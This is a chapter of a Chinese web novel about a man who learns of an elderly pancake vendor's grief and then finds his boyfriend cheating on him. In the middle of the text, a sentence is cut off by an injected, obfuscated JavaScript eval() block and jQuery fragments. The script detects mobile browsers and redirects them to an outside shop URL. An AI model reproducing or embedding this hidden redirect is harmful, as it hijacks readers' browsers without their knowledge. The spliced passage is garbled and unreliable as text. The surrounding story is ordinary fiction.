卧室门被推开时，声控灯惨白的光如水银般倾泻而下。
沈翊站在门口，手里还攥着那袋被他用体温焐了一路的鸡蛋灌饼。
塑料包装袋蒙着一层细密的水汽，饼还是温的，他这一路上都将它揣在怀里，像护着什么易碎的宝贝。
而在床上，他的恋人江泽正与另一个陌生男子相拥而眠。两人的呼吸平稳交织，在寂静的房间里清晰可闻，仿佛他才是打破这个幸福画面的恶人。
沈翊感到浑身的血液在那一瞬间停止了流动。
寒意从脚底窜起，顺着脊椎一路攀爬，最终凝固在心脏的位置。他张了张口，却发不出任何声音，只有喉结在艰难地上下滚动，最后又合上了嘴。
转身离开，身体早已习惯了一切，轻轻地关上了门。他看着早已习惯轻手轻脚的身体，被气笑了。
无声的“呵”，谁也没听见。
“咔哒。”
轻得像一声叹息，又重得像一座坟墓的封门石。
客厅没开灯。沈翊靠着沙发滑坐到地板上，从茶几抽屉里摸出烟和打火机。
江泽有洁癖，讨厌烟味，他已经很久没在家里抽过烟了。
“去他妈的洁癖。”他低声骂了一句，点燃了烟。
火光在黑暗中忽明忽暗，凸显出他苍白的脸。烟雾缭绕上升，纠缠着他那双此刻空洞得毫无生机的眼睛。茶几上，那袋鸡蛋灌饼安静地躺着，塑料包装在昏暗的光线下泛着油腻的光。
异常的讽刺。
还他妈格外碍眼。
沈翊盯着那袋饼，忽然很想笑。他也确实笑了，一声短促的“呵”从喉咙里挤出来，在空旷的客厅里显得格外突兀。
他想，自己可真像个小丑。
一个悲的小丑。
一个自欺欺人的小丑。
---
三个小时前。
深夜十二点，沈翊站在写字楼下的路边摊前，精致的西装与滋滋作响的铁板煎饼摊格格不入。冬天夜里的寒风像刀子一样刮过。在路灯昏黄的光晕里，煎饼摊升腾的白气刚冒头就被寒风吹散。这城市连一点点温暖都吝于保存。他随手把手缩进大衣口袋，碎发在眉毛处被风吹得微微上扬。
“老板，一份鸡蛋灌饼，加辣条，不要香菜。”他低头看着手机，手指在屏幕上飞快地打字，之前最后一条发给江泽的消息还停留在“我下班了”，但没有回复。
“好嘞！”摊主王大爷应得爽快，手上动作不停，“见你天天加班，老熟人了，给你多加个鸡蛋。”
铁板上滋啦作响，鸡蛋撞上热油的瞬间爆出浓香。
沈翊抬起头，有些腼腆地笑了笑：“您这……整得我怪不好意思的。”
他是真的不好意思。在这个城市生活了这么多年，能称得上“熟人”的屈指可数。王大爷的煎饼摊是他加班夜晚的固定站点，某种程度上，这摊子前的人间烟火气，是他乏味生活中为数不多能触手可及的“热闹”。
“害，害羞啥？”王大爷拿着铲子在空中熟练地颠了颠，“你天天来照顾生意，我还得谢你不嫌弃这儿脏呢。”
沈翊眼眸中闪过一丝无奈，“都是打工人，哪来谁嫌弃谁。”沈翊轻声说，目光落在老人那双布满老茧和冻疮的手上。
大冬天的，连他这个身强体壮的年轻人站在无遮无挡的摊子前都觉得冷，更别说眼前这位看上去已年过六旬的老人了。煎饼车四周用透明塑料布草草围了一圈，在狂风中东摇西晃，发出哗啦哗啦的声响。
如果是路人，此刻或许会想起自家爷爷奶奶，泛起一阵心酸。
可惜沈翊没有这种想象的记忆。关于“慈祥长辈”的记忆，在他的人生里是一片空白。他没变成反.社.会.人格，已经要感谢自己骨子里那点残存的理性。
“现在你们年轻人找工作不容易啊。”王大爷一边把鸡蛋单手打进面饼，一边絮絮叨叨，“像我们这种苦力活，你们干不了，太累。不是说你们不能吃苦，也不是说你们瞧不上……”
他急得在空中比划，生怕沈翊误会。
“总之现在国家发展好了，机会多，但也难。”老人叹了口气，“我听新闻上说啥产业转移……哎，专业词儿太多，弄不明白。反正我知道你们不容易。”
沈翊安静地听着，心里某个角落微微一暖。
在这个变化快得让人窒息的时代，能有个人愿意对你讲几句真诚的废话，竟也成了一种奢侈。
他忽然觉得，自己或许没那么失败起码还有一个愿意对他释放善意的“熟人”，哪怕只是单方面的。
“您也不容易。”沈翊看着老人冻得通红的鼻尖，斟酌着开口，“大冬天还坚持出摊，我这年轻人都扛不住这风。”
话说到这份上，意思已经很明显了，如果需要帮助，或许他可以做点什么。
王大爷手上的动作顿了顿。褶皱的眉眼间掠过一丝深重的无奈，那是一种被生活反复捶打后才会有的疲惫。
“没办法，总得要养家。”老人声音低了下去，“我儿子……前年毕业的。那孩子争气，考上研了！但找工作的时候没考上公.务.员，但被大厂立马录用了。”
铁板上的油滋滋作响，热气蒸腾。
“可他只干了几个月，就跳江了。”
铲子停在半空。王大爷像是突然意识到自己说了什么，慌忙拍了拍自己的嘴：“哎，瞧我这碎嘴……不提了不提了，说这些让你心情也不好了。”手忙脚乱也无法掩盖他说错话的懊恼与失去儿子的痛苦。
沈翊愣在原地。
他设想过很多种可能。比如：老人需要钱给孙子上学、老伴生病、自己身体不好……但唯独没料到会是如此出乎意料的答案。
一直以来，沈翊都坚信自己能用理性的框架分析一切问题，包括自己的情绪。可此刻，那些精心构建的逻辑体系在真实的苦难面前碎得无声无息。
他张了张口，安慰的话堵在喉咙里，一个字都吐不出来。
反倒是王大爷先笑了，那笑容在苍老的面孔上显得格外勉强：“你看，我还没哭呢，你这孩子倒像是要哭出来了。”
“主要是这事儿把我媳妇打击太大了。”老人低头翻着饼，“她现在还在医院里住着……不知道能不能熬过这个冬天。”
沈翊几乎是下意识地问：“那……其他孩子呢？”
话一出口他就后悔了。
王大爷沉默了很久，久到沈翊以为他不会回答了。
“我呀，命不好。”老人的声音轻得像叹息，“媳妇身体不行，后来怀过两个，都没保住。她犟，非要再生，我不让。医生说了，再怀她可能就没了……是个人都会选自己的另一半吧？没了她，我后半辈子怎么过？”
寒风吹过，塑料布哗啦作响，像在为这段话配上一段荒诞的伴奏。
沈翊感到心脏被什么东西狠狠攥住了。他想起大学时读过的那些哲学书，关于存在、关于苦难、关于价值——所有那些精妙的思辨，在这样具体的、血淋淋的人生面前，都成了苍白无力的呓语。
如果真有神佛，为什么只在高处接受供奉，却从不肯低头看一眼人间的苦厄？
“神”也好，“佛”也罢。
他们真的存在吗？
如果存在，为什么世上会有活得如此艰难的人？
手机闹钟突然响了——21:00。
沈翊回过神来，发现平时这个时间本该准时发来消息的江泽，对话框依旧一片死寂。
“再要一份。”他对王大爷说，语气是自己都未察觉的急促，“不加辣条，其他一样。”
王大爷抬头看他，浑浊的眼睛里闪过一丝了然。
“给对象带的？”王大爷手上动作更快了，“年轻人就得这样，心里装着人，日子才有奔头。”
沈翊含糊地“嗯”了一声。
“小娃子，”老人把第一份饼递给他，暖呼呼的纸袋接触到掌心时，沈翊感觉自己的心脏像是被烫了一下，“工作不开心了，就给自己放个假。趁着年轻，多出去走走，天地大着呢，别把自己逼太紧。”
沈翊怔了怔。
这番话从一个刚刚倾吐了毕生苦难的老人口中说出，带着一种近乎残忍的豁达。
沈翊接过饼，塑料袋窸窣作响。
--“他看出来了。”
--“为什么善良的人总被厄运缠身？”
--“不是说善有善报吗？为什么现实不是这样？”
他想不明白。
永远也想不明白。
王大爷快速做好第二份饼，这次用包装纸仔细地多裹了一层。“拿好了，小伙。”
沈翊接过，犹豫片刻，还是开口说：“我很喜欢您做的饼……跟我妈做的味道很像。”
他说了谎。他根本不记得母亲做饭的味道。那个女人在他高中时就离开了家，
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17182974|196977||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
跟另一个女人走了。
但王大爷听笑了。是那种笑容发自内心，却在寒冬苍白的面孔上显得格外刺眼，让沈翊没来由地心慌。
“你喜欢就好。”老人的声音低沉而安稳，像是历经所有折磨后终于被抚平了所有褶皱，只剩下一种温吞的、认命般的温和。
他开始收拾摊子，动作慢而有序。告别后，推着那辆吱呀作响的小车，缓缓消失在夜色深处。
像是专程来为他做这最后一顿饼。
像极了告别。
沈翊坐进车里，将第一份饼放在副驾驶座上，第二份仔细地揣进大衣内袋，贴着胸口。
他一边小口吃着饼，一边透过后视镜看那个佝偻的背影越来越远，最终融入城市的霓虹灯。直到完全看不见了，他才在手机上点了几下，发动车子。
“虚伪。”他在心里骂自己。
但手指还是完成了转账——500元。不多，是他能想到的最不伤及老人自尊的帮助方式。
夜色中，那个推车的身影忽然停住了。沈翊从后视镜里看到老人摸出手机，屏幕的光亮映亮了他错愕的脸。几秒钟后，老人慌乱地四下张望，似乎想追上来，可车子已经拐进了另一条街。
沈翊想象着那双粗糙的手在智能屏幕上笨拙划动的样子，想象着老人眼中打转的泪水——黑夜会替他掩盖最后的倔强。
老实人连便宜都不敢占，怕给人添麻烦，更怕麻烦找上门。
两个人，往相反的方向。
不同的人生，相同的无力。
半个小时后，沈翊回到公寓楼下。
他自己的那份饼已经在车里吃完，怀里那份还温着。他看着电梯镜面门里自己模糊的倒影，忽然笑了一声——行为傻逼，但情真意切。
指纹解锁，门开了。
屋里一片漆黑，安静得反常。平时这个时间，江泽就算在忙，也会迎出来接他，或者至少开着一盏灯。
门口，江泽的拖鞋整齐地放着。
沈翊脸上的笑意深了些。他轻手轻脚换鞋，把饼小心翼翼放在餐桌上，生怕动静太大吵醒“睡着”的恋人。
“小懒猪。”他无声地念叨，心里软成一片。
卧室门虚掩着。他推开——
声控灯应声而亮，惨白的光铺满了床。
后面的记忆有些断片。沈翊只记得自己轻轻带上了门，走到客厅，点烟，坐下。整个过程安静得像一出默剧。
烟雾警报器尖锐地响了几声。他烦躁地抓起拖鞋砸向天花板，警报器哑了，但胸腔里的怒火却越烧越旺。
隔音好的公寓此刻成了最致命的缺陷，他听不到卧室里的任何动静，而他们也听不到他的动静。这种死寂让他愤怒。
他真他妈想冲进去，把床上那对狗男男揪起来，一拳一拳砸烂那些背叛的嘴脸。
但他没有。
不是因为善良，而是因为理性在最后一刻拉住了他：打人要负法律责任，为了这对渣滓搭上自己，不值得。
况且……那毕竟是他爱过的人。
“爱”。
多可笑的一个字。
沈翊靠在沙发上，一根接一根地抽烟。烟雾缭绕中，他试图用最擅长的理性来分析现状：
为什么他能如此平静？
因为懦弱。因为恋旧。因为痴情到不愿意面对现实。
过去吵架，总是他先低头。他总以为，只要足够努力，足够包容，就能换来一个“白头偕老”的结局。
现在想来，他可真是纯种的小丑。
第一次被背叛，是在十八岁生日那天——父母各自带着情人，向他宣布离婚，顺带互相指责对方“把所谓所谓的基因缺陷遗传给了儿子”。
第二次，就是今天。
原来欲望这种东西，他真的从未拥有过吗？
放屁。是个人都会有欲望，他也不例外。只是他的欲望太简单了——一个家，一个爱人，一点俗世的温暖。
可惜老天爷看他不顺眼，非要把他这点卑微的念想也剥夺干净。
茶几上，那袋鸡蛋灌饼彻底凉透了。油凝固在包装纸上，形成一片难看的污渍。
屏幕的光映照他毫无表情的脸。
窗外，城市的霓虹彻夜不眠。而在这个小小的客厅里，一些东西无声地断裂了，碎成再也拼不回的粉末。
寒夜还很长。
但天，总会亮的。